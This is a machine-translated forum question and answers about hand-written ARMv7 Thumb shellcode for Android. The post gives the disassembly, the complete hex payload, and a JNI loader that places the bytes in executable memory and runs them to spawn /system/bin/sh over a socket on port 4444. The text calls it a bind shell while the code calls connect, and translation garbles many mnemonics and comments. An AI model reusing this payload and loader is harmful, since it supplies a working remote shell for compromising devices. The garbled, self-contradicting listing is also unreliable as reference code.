我的以下armv7tcp bind shell代码步骤:
- 打开套接字
- 侦听端口 4444
- 接受连接
- 使用
dup2
将 stdin/out/err 绑定到套接字 - 使用
execve( "/system/bin/sh", NULL, NULL )
生成外壳
反汇编 .text 部分: _start e28f3001 添加 r3, pc, #1 ;切换到拇指模式 _start+0x4 e12fff13 bx r3 插座(2, 1, 0( _start+0x8 2002 movs r0, #2 _start+0xa 2101 移动 R1, #1 _start+0xc 1A92 潜艇 R2, R2, R2 _start+0xe 27C8 移动器 R7, #200 _start+0x10 3751 添加 r7, #81 ;R7 = 281(套接字( _start+0x12 DF01 SVC 1 ;r0 = 生成的袜子 _start+0x14 1c04 添加 r4, r0, #0 ;在 R4 中保存 SockFD 连接(R0, &Sockaddr, 16( _start+0x16 A10a 添加 R1, PC, #40 ;(ADR R1,结构( _start+0x18 704a strb r2, [r1, #1] ;写 0 表示AF_INET _start+0x1a 2210 移动 R2, #16 _start+0x1c 3702 添加 r7, #2 ;R7 = 283(连接( _start+0x1e DF01 SVC 1 dup2(袜子,0( _start+0x20 273F 移动器 R7, #63 ;R7 = 63 (DUP2( _start+0x22 1c20 添加 r0, r4, #0 ;R4 是保存的 SockFD _start+0x24 1A49 潜艇 R1, R1, R1 ;R1 = 0 (标准( _start+0x26 DF01 SVC 1 DUP2(袜子,1( _start+0x28 1c20 添加 r0、r4、#0 _start+0x2a 2101 movs r1, #1 _start+0x2c DF01 SVC 1 DUP2(袜子,2( _start+0x2e 1c20 添加 r0、r4、#0 _start+0x30 2102 移动 R1, #2 _start+0x32 DF01 SVC 1 execve("/system/bin/sh", 0, 0( _start+0x34 A004 添加 R0, PC, #16 ;(ADR R0, binsh( _start+0x36 1A92 潜艇 R2, R2, R2 _start+0x38 1A49 潜艇 R1, R1, R1 _start+0x3a 7382 strb r2, [r0, #14] _start+0x3c 270b 移动器 R7, #11 _start+0x3e DF01 SVC 1 结构: .ascii "\x02\xff"//AF_INET 0xff 将为空 .ascii "\x11\x5c"//端口 4444 .byte 0,0,0,0//IP 地址(接受任何? 结构体 5c11ff02 .word 0x5c11ff02 结构+0x4 00000000 .word 0x00000000 .ascii "/system/bin/shX" 宾什 7379732f .字0x7379732f binsh+0x4 2f6d6574 .word 0x2f6d6574 binsh+0x8 2f6e6962 .word 0x2f6e6962 binsh+0xc 6873 .短0x6873 binsh+0xe 58 .byte 0x58
通过 JNI 执行
char SC[] = "x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx0axa1x4ax70x10x22x02x37x01xdfx3fx27x20x1cx49x1ax01xdfx20x1cx01x21x01xdfx20x1cx02x21x01xdfx04xa0x92x1ax49x1ax82x73x0bx27x01xdfx02xffx11x5cx00x00x00x00x2fx73x79x73x74x65x6dx2fx62x69x6ex2fx73x68x58x00";
JNIEXPORT jstring JNICALL Java_com_MainActivity_run(JNIEnv *env, jobject obj) {
char* code = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(code, SC, 300);
void (*func)() = (void (*)())code;
func();
return (*env)->NewStringUTF(env, "hello");
}
该mmap
用于设置外壳代码的执行权限。
在 MainActivity#onCreate 中,我执行本机函数run
。
使用 gdb (v7.1( 进行调试 我看到了外壳代码。
GDB $ X/10i $pc => 0xb402a05c: SVC 1 0xb402a05e: nop ;(MOV R8, R8( GDB $ n 进程 8467 正在执行新程序:/system/bin/sh 正在从远程目标读取/系统/bin/sh... 正在从远程目标读取/系统/bin/sh... 重新设置断点 1 时出错:未加载符号表。 使用"文件"命令。
我正在尝试使用 netcat 从我的本地主机进行连接,但由于没有开放端口,连接被拒绝。
执行cat /proc/net/tcp
表明了这一点。
执行ps
显示新进程,"/system/bin/sh"处于僵尸状态。
root@androidv7:/# PS | grep 8467 u0_a298 8467 2002 0 0 c002a898 00000000 Z sh
我需要将exec
系统调用替换为fork
、exec
&getpid
吗?
有什么帮助吗?
引用:
https://android.googlesource.com/platform/bionic/+/cd58770/libc/SYSCALLS.TXT
https://android.googlesource.com/platform/bionic/+/android-4.2.1_r1.1/libc/arch-arm/syscalls
在孩子身上添加fork
和执行exec
解决了这个问题。
你的shellcode没问题。 尝试向清单添加权限:
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>